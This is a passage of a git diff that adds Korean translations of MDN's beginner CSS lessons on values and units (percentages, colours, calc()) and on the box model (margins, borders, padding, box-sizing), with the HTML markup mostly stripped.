차이점은 두 박스의 두 번째 세트가 너비가 400 픽셀 안에 있다는 것입니다. 두 번째 200px 너비의 박스는 첫 번째 너비와 동일한 너비이지만, 두 번째 40% 박스는 이제 400px 의 40% 이므로 — 첫 번째 박스보다 훨씬 좁습니다!

+ +

너비 또는 백분율 값을 변경하여 작동 방식을 확인합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} 

+ +

다음 예제에서는 글꼴 크기가 백분율로 설정되어 있습니다. 각 <li> 의 font-size 는 80% 이므로, 중첩된 목록 항목은 부모로부터 크기를 상속함에 따라 점차 작아집니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} 

+ +

많은 값이 길이 또는 백분율을 허용하지만, 길이만 허용하는 값도 있습니다. MDN 속성 참조 페이지에서 어떤 값이 허용되는지 확인할 수 있습니다. 허용된 값에 <length-percentage> 가 포함된 경우 길이 또는 백분율을 사용할 수 있습니다. 허용된 값에 <length> 만 포함된 경우, 백분율을 사용할 수 없습니다.

+ +

숫자

+ +

일부 값은 단위를 추가하지 않고 숫자를 허용합니다. 단위가 없는 숫자를 허용하는 속성의 예는 요소의 불투명도 (투명한 정도) 를 제어하는 opacity 속성입니다. 이 속성은 0 (완전 투명) 과 1 (완전 불투명) 사이의 숫자를 허용합니다.

+ +

아래 예제에서, opacity 값을 0 과 1 사이의 다양한 10진수 값으로 변경하고 박스와 그 내용이 어떻게 붙투명하게 되는지 확인하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} 

+ +
+

참고: CSS 에서 숫자를 값으로 사용하는 경우 따옴표로 묶지 않아야합니다.

+
+ +

색상

+ +

CSS 에서 색상을 지정하는 방법은 여러가지가 있으며, 그 중 일부는 다른것 보다 최근에 구현되었습니다. 텍스트 색상, 배경 색상 등을 지정하든 상관없이 CSS 의 모든 위치에서 동일한 색상 값을 사용할 수 있습니다.

+ +

최신 컴퓨터에서 사용할 수 있는 표준 색상 시스템은 24bit 이며, 채널당 256개의 서로 다른 값 (256 x 256 x 256 = 16,777,216.) 을 갖는 서로 다른 빨강, 녹색 및 파랑 채널의 조합을 통해 약 1670만개의  고유한 색상을 표시할 수 있습니다. CSS 에서 색상을 지정할 수 있는 몇 가지 방법을 살펴보겠습니다.

+ +
+

참고: 이 자습서에서는 브라우저 지원 기능이 우수한 색상을 지정하는 일반적인 방법을 살펴봅니다. 다른 것도 있지만, 지원 기능이 뛰어나지 않고 덜 일반적입니다.

+
+ +

색상 키워드

+ +

여기의 학습 섹션이나 MDN 의 다른 예에서 색상 키워드를 지정하는 간단하고 이해하기 쉬운 방법인 색상 키워드를 볼 수 있습니다. 이 키워드에는 여러가지가 있으며 그중 일부는 상당히 재미있는 이름을 가지고 있습니다! <color> 값에 대한 전체 목록을 페이지에서 볼 수 있습니다.

+ +

아래의 라이브 예제에서 다른 색상 값을 사용하여 작동하는 방법에 대한 아이디어를 얻으십시오.

+ +

16진수 RGB 값

+ +

다음 형식의 색상 값은 16진수 코드입니다. 각 16진수 값은 hash/pound 기호 (#) 와 6개의 16진수로 구성되며, 각 16진수는 0 과 f (15를 나타냄) 사이의 16개 값 중 하나를 사용할 수 있으므로 — 0123456789abcdef 입니다. 각 값 쌍은 채널 중 하나 — 빨강, 녹색 및 파랑 — 을 나타내며 각각에 대해 256개의 사용 가능한 값 (16 x 16 = 256) 을 지정할 수 있습니다.

+ +

이 값은 좀 더 복잡하고 이해하기 쉽지 않지만 기워드보다 훨씬 더 다양합니다 — 16진수 값을 사용하여 색상표에 사용하려는 색상을 나타낼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} 

+ +

다시 한 번, 값을 변경하여 색상이 어떻게 다른지 확인하십시오. 

+ +

RGB 및 RGBA 값

+ +

여기서 이야기 할 세 번째 방식은 RGB 입니다. RGB 값은 — rgb() 함수입니다 — 이 값은 16진수 값과 거의 같은 방식으로 색상의 빨강, 녹색 및 파랑 채널 값을 나타내는 세 개의 매개 변수가 제공됩니다. RGB 와의 차이점은 각 채널이 2개의 16진수가 아니라 0 과 255 사이의 10진수로 표현되어 — 다소 이해하기 쉽다는 것입니다.

+ +

Let's rewrite our last example to use RGB colors:

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} 

+ +

RGBA 색상을 사용할 수도 있습니다 — 이 색상은 RGB 색상과 정확히 같은 방식으로 작동하므로 RGB 값을 사용할 수 있지만, 색상의 알파 채널을 나타내는 네 번째 값이 있어 불투명도 (opacity) 를 제어합니다. 이 값을 0 으로 설정하면 색상이 완전히 투명해지는 반면, 1 이면 완전히 불투명하게 됩니다. 그 사이의 값은 다른 수준의 투명성을 제공합니다.

+ +
+

참고: 색상에 알파 채널을 설정하면 앞에서 살펴본 {{cssxref("opacity")}} 속성을 사용하는 것과 한 가지 중요한 차이점이 있습니다. 불투명도를 사용하면 요소와 그 안에 있는 모든 것을 불투명하게 만드는 반면, RGBA 색상을 사용하면 불투명하게 지정한 색상만 만들어집니다.

+
+ +

아래 예제에서 나는 색상 박스가 포함된 블록에 배경 이미지를 추가했습니다. 그런 다음 박스에 다른 불투명도 값을 갖도록 설정했습니다 — 알파 채널 값이 작을 때 배경이 더 잘 나타나는지 확인하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}

+ +

이 예에서는, 알파 채널 값을 변경하여 색상 출력에 어떤 영향을 미치는지 확인하십시오.

+ +
+

참고: 어떤 시점에서 최신 브라우저는 rgba() 와 rgb() 및 hsl() 과 hsla() (아래 참조) 가 서로의 순수 별칭이 되어 정확히 동일한 동작을 시작하도록 업데이트 되었습니다. 예를 들어rgba() 및 rgb() 는 모두 알파 채널 값이 있거나 없는 색상을 허용합니다. 위 예제의 rgba() 함수를 rgb() 로 변경하고 색상이 여전히 작동하는지 확인하십시오! 어떤 스타일을 사용하느냐에 따라 다르지만, 다른 기능을 사용하기 위해 불투명과 투명한 색상 정의를 분리하면 브라우저 지원이 약간 향상되고 코드에서 투명 색상이 정의되는 위치를 시각적으로 표시할 수 있습니다.

+
+ +

HSL 및 HSLA 값

+ +

RGB 보다 약간 덜 지원되는 HSL 색상은 (이전 버전의 IE 에서는 지원되지 않음) 디자이너의 관심을 끈 후에 구현되었습니다. hsl() 함수는 빨강, 녹색 및 파랑 값 대신 색조 (hue), 채도 (saturation) 및 명도(lightness) 값을 받아들입니다. 이 값은 1670만 가지 색상을 구별하는 데 사용되지만 다른 방식으로 사용됩니다.

+ + + +

다음과 같이 HSL 색상을 사용하도록 RGB 예제를 업데이트 할 수 있습니다:

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} 

+ +

RGB 에 RGBA 가 있는 것처럼, HSL 에는 HSLA 에 상응하는 것이 있으므로, 알파 채널을 지정할 수 있는 동일한 기능을 제공합니다. HSLA 색상을 사용하도록 RGBA 예제를 변경하여 아래에서 이것을 시연했습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} 

+ +

여러분의 프로젝트에서 이러한 색상 값을 사용할 수 있습니다. 대부분의 프로젝트에서 색상 팔레트를 결정한 다음 전체 프로젝트에서 해당 색상 — 선택한 색상 지정 방법 — 을 사용합니다. 색상 모델을 혼합하고 일치시킬 수 있지만, 일관성을 유지하려면 전체 프로젝트에서 동일한 모델을 사용하는 것이 가장 좋습니다!

+ +

이미지

+ +

<image> 데이터 형식은 이미지가 유효한 값인 경우 사용됩니다. 이것은 url() 함수 또는 gradient 를 통해 가리키는 실제 이미지 파일일 수 있습니다.

+ +

아래 예제에서 CSS background-image 속성의 값으로 사용되는 이미지와 gradient 를 보여주었습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} 

+ +
+

참고: <image> 에 대해 가능한 다른 값이 있지만 이 값은 최신이며 최신 브라우저 지원이 좋지 않습니다. <image> 데이터 형식을 읽으려면 MDN 페이지에서 <image> 데이터 형식을 확인하십시오.

+
+ +

위치 (Position)

+ +

<position> 데이터 형식은 배경 이미지 (background-position 를 통해) 와 같은 항목을 배치하는 데 사용되는 2D 좌표를 나타냅니다. top, left, bottom, right 및 center 와 같은 키워드를 사용하여 항목을 2D 박스의 특정 범위에 맞춰 길이와 함께 박스의 위쪽 및 왼쪽 가장자리에서 offset 을 나타냅니다.

+ +

일반적인 position 값은 두 가지 값으로 구성됩니다 — 첫 번째는 위치를 가로로 설정하고, 두 번째는 세로로 설정합니다. 한 축의 값만 지정하면 다른 축은 center 으로 설정됩니다.

+ +

다음 예제에서는 키워드를 사용하여 container 의 위쪽과 오른쪽에서 40px 의 배경 이미지를 배치했습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} 

+ +

이 값을 가지고 놀면서 이미지를 어떻게 밀어낼 수 있는지 확인하십시오.

+ +

문자열 및 식별자 (identifiers)

+ +

위의 예에서, 키워드가 값으로 (예: red, black, rebeccapurple 및 goldenrod, 와 같은 <color> 키워드) 사용되는 위치를 확인했습니다. 이러한 키워드는 CSS 가 이해하는 특수한 값인 식별자 (identifiers) 로, 보다 정확하게 설명됩니다. 따라서 인용되지 않으며 — 문자열로 취급되지 않습니다.

+ +

CSS 에서 문자열을 사용하는 장소가 있습니다. 예를 들면, 생성된 콘텐츠를 지정할 때. 이 경우 값은 문자열임을 보여주기 위해 인용됩니다. 아래 예제에서는 인용되지 않은 색상 키워드와 인용된 생성된 콘텐츠 문자열을 사용합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} 

+ +

함수 (Functions)

+ +

우리가 살펴볼 마지막 값의 형식은 함수로 알려진 값의 그룹입니다. 프로그래밍에서 함수는 개발자와 컴퓨터 모두에서 최소한의 노력으로 반복적인 작업을 완료하기 위해 여러번 실행할 수 있는 재사용 가능한 코드 섹션입니다. 함수는 일반적으로 JavaScript, Python 또는 C++ 과 같은 언어와 관련이 있지만, 속성 값으로 CSS 에도 존재합니다 — rgb(), hsl() 등의 색상 섹션에서 작동하는 함수를 이미 보았습니다. 파일에서 이미지를 반환하는 데 사용되는 값인 — url() — 도 함수입니다.

+ +

전통적인 프로그래밍 언어에서 찾아볼 수 있는 것과 비슷한 값은 calc() CSS 함수입니다. 이 함수를 사요하면 CSS 내에서 간단한 계산을 수행할 수 있습니다. 프로젝트의 CSS 를 작성할 때 정의할 수 없는 값을 계산하고 런타임에 브라우저가 작동해야하는 경우 특히 유용합니다.

+ +

예를 들어, 아래에서는 calc() 를 사용하여 박스를 20% + 100px 너비로 만듭니다. 20% 는 부모 container .wrapper 의 너비에서 계산되므로 너비가 변경되면 변경됩니다. 우리는 부모 요소의 20% 가 무엇인지 알지 못하기 때문에, 이 계산을 미리 수행할 수 없으므로 calc() 를 사용하여 브라우저에 지시합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}

+ +

요약

+ +

이것은 가장 일반적인 형식의 값과 단위를 빠르게 살펴 보았습니다. CSS 값 및 단위 참조 페이지에서 다양한 유형을 모두 볼 수 있습니다. 이 수업을 진행하면서 사용중인 많은 것들을 보게 될 것입니다.

+ +

기억해야 할 중요한 점은 각 속성에 정의된 값 목록이 있고 각 값에는 하위 값이 무엇인지 설명하는 정의가 있다는 것입니다. 그런 다음 MDN 에서 세부 사항을 찾을 수 있습니다.

+ +

예를 들어, <image> 를 사용하면 색상 gradient 를 만들 수 있다는 점을 이해하면 유용하지만 명백하지 않은 지식이 있을 수 있습니다!

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git "a/files/ko/learn/css/building_blocks/\354\203\201\354\236\220_\353\252\250\353\215\270/index.html" "b/files/ko/learn/css/building_blocks/\354\203\201\354\236\220_\353\252\250\353\215\270/index.html" new file mode 100644 index 0000000000..aafc0a5241 --- /dev/null +++ "b/files/ko/learn/css/building_blocks/\354\203\201\354\236\220_\353\252\250\353\215\270/index.html" @@ -0,0 +1,347 @@ +--- +title: 상자 모델 +slug: Learn/CSS/Building_blocks/상자_모델 +tags: + - 디스플레이 + - 상자 모델 + - 씨에스에스 + - 여백 + - 초보자 + - 테두리 + - 패딩 + - 학습 +translation_of: Learn/CSS/Building_blocks/The_box_model +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}
+ +

씨에스에스에 포함되는 모든 요소의 외장은 상자이며, 이 상자를 이해하는 것은 씨에스에스 조판을 생성하거나, 항목을 다른 항목과 대비해 정렬 능력을 갖추게 해주는 열쇠입니다. 이번 단원에서 우리는 씨에스에스 상자 모델을 제대로 살펴보겠습니다. 상자의 작동 방식과 상자와 관련된 용어를 이해함으로써 더 복잡한 조판 작업으로 넘어갈 수 있도록합니다.

+ + + + + + + + + + + + +
선결 사항:기본 컴퓨터 활용 능력기본 소프트웨어 설치, 파일 작업에 대한 기본 지식, 에이치티엠엘 기본기 (에이치티엠엘 학습), 씨에스에스 작동 방식에 대한 개념 (씨에스에스 첫 단계 학습.) 등에 대한 기본 지식
목표:씨에스에스 상자 모델, 상자 모델을 구성하고 대체 모델로 전환하는 방법에 대해 학습합니다.
+ +

블록 및 인라인 상자

+ +

씨에스에스에는 크게 두 가지 상자(블록 상자인라인 상자) 유형이 있습니다. 이러한 특성은 상자가 페이지 대열 측면 및 페이지의 다른 상자와 관련하여 상자의 작동 방식을 나타냅니다.

+ +

상자가 블록으로 정의되면 다음과 같은 방식으로 동작합니다:

+ + + +

여러분이 디스플레이 유형은 인라인으로 변경하지 않는 한 머리글(<h1>)과 <p>)와 같은 요소는 모두 기본값으로 외부 디스플레이 유형을 block 사용합니다.

+ +

상자의 외부 디스플레이 유형이 inline일 경우:

+ + + +

링크용 <a> 요소와 <span>, <em><strong> 요소는 모두 기본적으로 인라인으로 표시됩니다.

+ +

요소에 적용되는 상자 유형은 blockinline과 같은 {{cssxref("display")}} 속성 값으로 정의되며. 아울러 그것은 displayouter 값과 관련이 있습니다.

+ +

구분: 내부 및 외부 디스플레이 유형

+ +

이 시점에 우리는 내부외부 디스플레이 유형에 대해 설명하는 게 좋겠습니다. 위에서 언급했듯이 씨에스에스의 상자는 외부 디스플레이 유형을 가지며, 이는 상자가 블록인지 인라인인지를 자세히 설명합니다.

+ +

그러나 상자에는 내부 디스플레이 유형도 있으며 당 상자 내부의 요소가 배치되는 방법을 나타냅니다. 기본적으로 상자 내부의 요소는 일반 대열로 배치되며, 이는 (위에서 설명한 바와 같이) 여타 블록 및 인라인 요소와 마찬가지로 작동한다는 것을 의미합니다.

+ +

그러나 여러분은 flex과 같은 display 값을 사용하여 내부 디스플레이 유형을 변경할 수 있습니다. 어떤 요소에 우리가 display: flex;를 설정하면 외부 디스플레이 유형은 블록이지만 내부 디스플레이 유형은 flex (가변) 으로 변경됩니다. 이 상자의 직계 자식은 가변 항목이 되고, 나중에 익히게 될 가변상자 규격에 명시된 규칙에 따라 배치됩니다.

+ +
+

참고: 디스플레이 속성 값 및 상자가 블록 및 인라인 조판에서 작동하는 방법에 대해 자세히 보려면 블록 및 인라인 조판에 대한 모질라 개발자 네트워크 가이드를 참조하십시오.

+
+ +

씨에스에스 조판에 대해 자세한 내용을 배우려면 다음번에는 예로 flexgrid같은 상자가 취할 수 있는 그 밖의 다양한 내부 속성 값을 마주치게 될 겁니다.

+ +

그러나 블록 및 인라인 조판이 웹상에 사물이 행동하는 기본값입니다. 앞서 언급했듯이 그럴 일컬어 normal flow (일반 대열) 이라고 합니다. 그렇게 부르는 까닭은 다른 지시 사항이 없으면 상자는 블록 또는 인라인 상자로 배치되기 때문입니다.

+ +

서로 다른 디스플레이 유형의 예

+ +

계속해서 몇 가지 예를 살펴보겠습니다. 아래에 우리는 세 개의 서로 다른 에이치티엠엘 요소가 있으며, 모두 외부 디스플레이 유형이 block입니다. 첫 번째 단락은 씨에스에스에 테두리가 추가된 단락입니다. 브라우저는 이걸 블록 상자로 렌더링하므로 단락은 새 줄에서 시작되며 확보된 너비 전체까지 확장할 겁니다.

+ +

두 번째는 display: flex 사용해 배치된 목록입니다. 이 예제는 컨테이너 내부의 항목에 대해 가변 조판을 수립하지만, 목록 자체는 블록 상자이며 단락과 같이 전체 컨테이너 너비로 확장되어 새 줄로 행갈이를 합니다.

+ +

바로 아래에 우리는 블록 수준 단락을 하나 갖고 있으며 그 안에 두 개의 <span> 요소가 있습니다. 이들 요소는 보통 inline이겠지만, 그 중 하나에 블록 클래스에 있습니다. 우리가 그걸 미리 display: block로 설정했으니까요.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}}

+ +

우리는 다음 예제에서 inline 요소가 어떻게 동작하는지 볼 수 있습니다. 첫 번째 단락에서 <span>는 기본값으로 인라인으므로 새 줄 행갈이를 강제하지 않습니다.

+ +

display: inline-flex로 설정된 <ul> 요소도 갖고 있는데, 이는 몇 가지 가변 항목 주변에 인라인 상자를 생성합니다.

+ +

마지막으로 display: inline으로 설정된 두 단락이 있습니다. 인라인 가변 컨테이너와 단락은 모두 하나의 라인에서 하나로 진행하지 블록 수준 요소처럼 표시하기 위해 새 줄로 행갈이를 하지 않습니다.

+ +

예제에서 여러분은 display: inline 부분을 display: block으로, 또는 display: inline-flexdisplay: flex로 디스플레이 모드 사이를 전환할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}}

+ +

나중에 해당 단원에서 가변 조판과 같은 것들을 접하게 될 것입니다. 당장 기억해야 할 핵심은 display 속성 값을 변경하면 상자의 외부 디스플레이 유형이 블록인지 인라인인지를 변경하여, 조판 속 다른 요소 주위에 자신을 표시하는 방법이 달라진다는 것입니다.

+ +

나머지 수업에서는 외부 디스플레이 유형에 집중할 것이다.

+ +

씨에스에스 박스 모델이란 무엇인가?

+ +

전체 씨에스에스 상자 모델은 블록 상자에 적용되며, 인라인 상자는 상자 모델에 정의된 일부 동작만 사용합니다. 이 모델은 당신이 페이지에서 볼 수 있는 상자를 생성하기 위해 상자의 서로 다른 부분인 여백, 테두리, 패딩 및 콘텐츠등이 어떻게 함께 작동할 것인지를 정의합니다. 몇 가지 복잡성을 추가하기 위해 표준 및 대체 상자 모델이 있습니다.

+ +

상자의 구성

+ +

씨에스에스 블록 상자 구성하기 위한 우리의 준비물은:

+ + + +

아래 도표는 이들 레이어를 보여줍니다.

+ +

Diagram of the box model

+ +

표준 씨에스에스 상자 모델

+ +

표준 상자 모델에서 상자에서 widthheight를 부여하면 content box의 너비와 높이가 정의됩니다. 그런 다음 패딩과 테두리는 상자의 너비와 높이에 추가되여 상자가 점유하는 전체 크기가 정해집니다. 그 내용이 아래 이미지에서 제시되었습니다.

+ +

우리는 상자의 widthheight, marginborderpadding 씨에스에스 값이 다음과 같이 지정되어 있다고 간주합니다:

+ +
.box {
+  width: 350px;
+  height: 150px;
+  margin: 25px;
+  padding: 25px;
+  border: 5px solid black;
+}
+
+ +

표준 박스 모델을 사용하여 상자가 차지하는 공간은 실제로 너비 410px(350 + 25 + 25 + 5 + 5), 높이 210px(150 + 25 + 25 + 5 + 5)가 될 것인데, 양쪽 패딩과 테두리는 콘텐츠 상자에 사용되는 너비에 더해지기 때문입니다.

+ +

Showing the size of the box when the standard box model is being used.

+ +
+

참고: 여백은 상자의 실제 크기에 포함되지 않습니다. 물론 여백은 상자가 페이지에서 차지하는 총 공간에 영향을 미치지만, 상자의 외부 공간에만 영향을 미칩니다. 상자의 영역은 테두리에서 멈추게 됩니다. 여백으로 확장되지 않습니다.

+
+ +

대체 씨에스에스 상자 모델

+ +

상자의 실제 크기를 얻기 위해 테두리와 패딩을 추가하는 것이 다소 불편하다고 생각할 수 있습니다. 당신 말이 옳을 것입니다! 이러한 이유로 씨에스에스는 표준 상자 모델 이후 머지않아 대체 상자 모델이 도입되었습니다. 이 모델을 사용한다면 너비는 페이지에서 표시되는 상자 너비이므로 콘텐츠 영역 너비는 너비에서 패딩 및 테두리 너비를 뺀 너비입니다. 위에서 사용된 것과 동일한 씨에스에스를 아래 결과에 대입하면(폭 = 350px, 높이 = 150px)가 됩니다.

+ +

Showing the size of the box when the alternate box model is being used.

+ +

기본값으로 브라우저는 기본 상자 모델을 사용합니다. 요소에 대체 모델을 활성화하려면 거기에 box-sizing: border-box를 설정하여 그렇게 할 수 있습니다. 이렇게 하면 당신이 설정한 크기에 따라 정의된 영역만큼 테두리 상자가 점유하도록 브라우저에 전달할 수 있습니다.

+ +
.box {
+  box-sizing: border-box;
+} 
+ +

모든 요소가 대체 상자 모델을 사용하길 원한다면, (그것이 개발자들의 흔한 선택이기도 합니다) <html> 요소에 box-sizing 속성을 설정한 다음 아래의 소예제에서 볼 수 있듯이 다른 모든 요소가 해당 값을 상속하도록 설정하십시요. 이런 내용의 뒷배경이 되는 생각을 이해하고 싶다면 상자 크기에 관한 씨에스에스 요령 문서를 참조하십시오.

+ +
html {
+  box-sizing: border-box;
+}
+*, *::before, *::after {
+  box-sizing: inherit;
+}
+ +
+

참고: 흥미로운 기록이 있습니다. 인터넷 익스플로러는 기본적으로 대체 상자 모델로 사용되었으며 전환할 수있는 메커니즘이 없습니다.

+
+ +

상자 모델 부리기

+ +

아래 예제에서 당신은 상자 2개를 확인할 수 있습니다. 둘 다 .box 클래스에 해당하며 width, height, margin, border, padding에 대해 동일한 값이 주어졌습니다. 유일한 차이라면 두 번째 상자는 대체 상자 모델을 사용하도록 설정되었다는 겁니다.

+ +

당신은 (.alternate 클래스를 씨에스에스에 추가해) 두 번째 상자 크기를 변경해 첫 번째 상자의 너비와 높이와 일치하도록 할 수 있습니까?

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}}

+ +
+

참조: 여러분은 이곳에서 동 질문에 대한 답변을 확인할 수 있습니다..

+
+ +

브라우저 개발자도구를 사용해 상자 모델 보기

+ +

브라우저 개발자 도구를 사용하면 상자 모델을 훨씬 쉽게 이해할 수 있습니다. 파이어폭스의 개발자 도구에서 요소를 검사하면 요소의 크기와 여백, 패딩 및 테두리를 볼 수 있습니다. 이 방법으로 요소를 검사하면 실제로 그것이 당신이 생각하는 크기인지를 알아낼 수 있어 좋은 방법입니다.

+ +

Inspecting the box model of an element using Firefox DevTools

+ +

여백과 패딩과 테두리

+ +

상술한 예제에서 여러분은 이미 {{cssxref("margin")}}과 {{cssxref("padding")}}, 그리고 {{cssxref("border")}}를 보았습니다. 이번 예제에서 사용된 속성은 약칭(shorthands)으로 한꺼번에 상자의 사방면을 설정할 수 있게 해줍니다. 해당 약칭은 또한 동명의 정식 명칭 속성도 있어 상자의 사방면을 개별적으로 제어할 수 있도록 해줍니다.

+ +

해당 속성에 대한 자세한 내용을 탐구해 봅시다.

+ +

여백

+ +

여백은 상자 주변에 보이지 않는 공간입니다. 여백은 상자로부터 다른 요소를 밀어냅니다. 여백은 양수값 또는 음수값을 가질 수 있습니다. 상자 한쪽 측면에 음수값 여백을 설정하면 페이지의 다른 부분과 공백이 겹칠 수 있습니다. 여러분이 표준 또는 대체 상자 모델을 사용하든지 관계없이 표시되는 상자의 크기를 계산한 후에 항상 여백이 추가됩니다.

+ +

우리는 {{cssxref("margin")}} 속성을 사용하여 요소의 사방 여백을 한번에 제어할 수 있으며, 마찬가지로 동명의 정식 명칭 속성을 사용하며 각변의 여백을 제어할 수 있습니다.

+ + + +

아래 예제에서 여백 값을 변경하여 당 요소와 상위 컨테이너 요소 사이의 여백 생성 또는 공간 제거(음의 여백인 경우)로 인해 상자가 어떻게 밀려나는지 확인하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}}

+ +

여백 축소

+ +

여백 이해의 핵심은 여백 축소에 대한 개념입니다. 여백이 서로 맞닿은 두 개의 요소가 있으면 해당 여백은 합쳐져 하나의 여백이 됩니다. 그 중 가장 큰 여백의 크기가 됩니다.

+ +

아래 예제에는 단락 두 개가 있습니다. 상위 단락은 margin-bottom 값이 50픽셀이 주어졌습니다. 두 번째 단락은 margin-top 값이 30픽셀이 주어졌습니다. 전체 여백은 합쳐져 축소되면서 실제 상자 사이 여백은 50픽셀이며, 두 가지 여백을 합계가 되지 않습니다.

+ +

여러분은 2번째 단락의 margin-top 값을 0으로 설정해 이를 시험해 볼 수 있습니다. 두 단락 사이 표시되는 여백은 변경되지 않을 것이며, 첫 번째 단락의 bottom-margin에 설정된 50픽셀은 유지됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}}

+ +

여백이 축소될 때와 축소되지 않을 때를 말해주는 여러 가지 규칙이 있습니다. 자세한 내용은 여백 축소 정복에 대한 자세한 페이지를 참조하십시오. 당장 기억해야 할 주안점은 마진 축소란 것이 벌어지고 있다는 점이다. 여백이 있는 공간을 생성하고도 여러분이 기대하는 만큼의 공간을 얻지 못한다면, 아마도 그것은 여백 축소 현상일 것입니다.

+ +

테두리

+ +

테두리는 상자의 여백과 패딩 사이에 그려집니다. 표준 상자 모델을 사용하는 경우 테두리의 크기가 상자의 widthheight에 추가됩니다. 대체 상자 모델을 사용하고 있는 경우, 테두리의 크기는 사용 가능한 widthheight의 일부를 점유함으로 콘텐츠 상자가 더 작아지게 됩니다.

+ +

테두리를 스타일링의 경우 많은 속성이 있습니다. 4개의 테두리, 각 테두리에는 스타일, 너비 및 색상 등 당신이 변경하고 싶을만한 것들이 있습니다.

+ +

당산은 당장에 {{cssxref("border")}} 속성을 사용해 4개의 테두리 스타일과 너비, 색상을 지정할 수 있습니다.

+ +

테두리 사방면에 각각 너비와 색상, 스타일을 설정할 수 있습니다:

+ + + +

테두리 사방면에 색상, 스타일, 너비를 설정하려면 다음과 같이 사용하십시요:

+ + + +

테두리 일방 면만 색상과 스타일, 너비를 설정하려면 세분화된 정식명칙 속성 중의 하나를 사용할 수 있습니다.

+ + + +

아래 예제에서 테두리를 생성하기 위해 다양한 약칭과 정식 명칭을 사용했습니다. 그것들의 작동 방식을 파악하기 위해 서로 다른 속성을 마음대로 부려보십시요. 테두리 속성에 대한 모질라 개발자 네트워크 페이지 페이지는 당신이 선택할 수 있는 다양한 테두리 스타일에 대한 정보를 제공합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}}

+ +

패딩

+ +

패딩은 테두리와 콘텐츠 영역 사이에 위치합니다. 여백과는 다르게 패딩은 음수의 크기를 가질 수 없어, 그 값은 0 또는 양수 값이여야 합니다. 여러분의 요소에 적용된 배경은 패딩 뒤에 표시됩니다.패딩의 전형적인 용도는 테두리에서 콘텐츠를 밀어내는 겁니다.

+ +

우리는 {{cssxref("padding")}} 속성을 사용하여 요소의 사방면 패딩을 개별적으로 제어할 수 있으며, 마찬가지로 정식 명칭 속성을 사용하며 각변의 패딩을 제어할 수 있습니다.

+ + + +

아래 예제에서 .box클래스에 대한 패딩값을 변경하면 상자와 관계하여 텍스트가 시작되는 지점이 달라지는지 볼 수 있습니다.

+ +

여러분은 또한 .container, 클래스에 대한 패딩을 변경하여 컨테이너와 상자 사이 공간을 만들 수 있습니다. 패딩 변경은 모든 요소에 가능하며 테두리와 요소 내부 공간 사이에 공간을 만듭니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}}

+ +

상자 모델과 인라인 상자

+ +

상술한 모든 내용은 블록 상자에도 100% 적용됩니다. 상술한 속성 중의 일부는 인라인 상자에도 적용할 수 있습니다. 예를 들어 <span>에 의해 생성된 속성도 그렇습니다.

+ +

아래 예제에 한 단락 내부에 <span>가 있고 거기에 widthheight, 그리고 marginborder를 적용했습니다. 여러분이 보시다시피 너비와 높이는 무시됩니다. 여백, 패딩 및 테두리는 존치되지만 다른 콘텐츠와 인라인 상자아의 관계를 변경하지 않으므로 패딩 및 테두리는 단락의 다른 단어와 겹칩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}}

+ +

인라인 블록 디스플레이 사용하기

+ +

inlineblock 사이 중립 지대를 제공하는 display 속성의 하나로 특별한 값이 있습니다. 이 속성은 항목이 새 줄로 넘어가는 행갈이를 원치않지만, widthheight가 존중되고 앞서 보았듯이 겹침 현상을 피하길 원하는 경우에 유용합니다.

+ +

display: inline-block 속성이 딸린 요소는 우리가 이미 파악했던 것 블록 요소의 하위 집합입니다.

+ + + +

그러나 새 줄로 행갈이를 하지 않고, widthheight 속성을 명시적으로 추가하는 경우에만 해당 요소의 콘텐츠보다 (동 상자가) 더 커질 뿐입니다.

+ +

다음 예제에서 우리는 <span> 요소에 display: inline-block를 추가했습니다. 스팬 요소 속성을 display: block로 변경하던가 추가했던 라인을 제거한 뒤 디스플레이 모델의 차이를 확인해 보십시요.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}}

+ +

